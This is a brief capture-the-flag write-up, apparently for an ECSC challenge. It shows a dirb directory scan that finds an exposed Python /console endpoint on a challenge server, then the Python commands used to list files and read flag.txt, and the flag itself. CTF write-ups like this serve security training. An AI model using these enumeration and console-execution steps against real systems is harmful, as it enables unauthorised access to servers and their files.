

```
# I ran dirb command :
```

```
dirb http://35.246.235.150:31047 common.txt
```

```
# Where common.txt is https://github.com/huntergregal/wordlists/blob/master/common.txt.
```

```
This is the output :
```

```
# http://35.246.235.150:31047/console (CODE:200|SIZE:1984)
```

```
# If we enter the site, we can use a python console. Use the following commands to get the flag :
```

```
>>> import os  
  
>>> print(os.listdir("."))  
['.bash_logout', '.profile', '.bashrc', 'app.py', 'flag.txt']  
>>> open("flag.txt").read()
```

THE FLAG :

ECSC{672e1423c22222e4e4c87e27a443b4b72c298c84f13d3ddeb771b9458ce33f32}
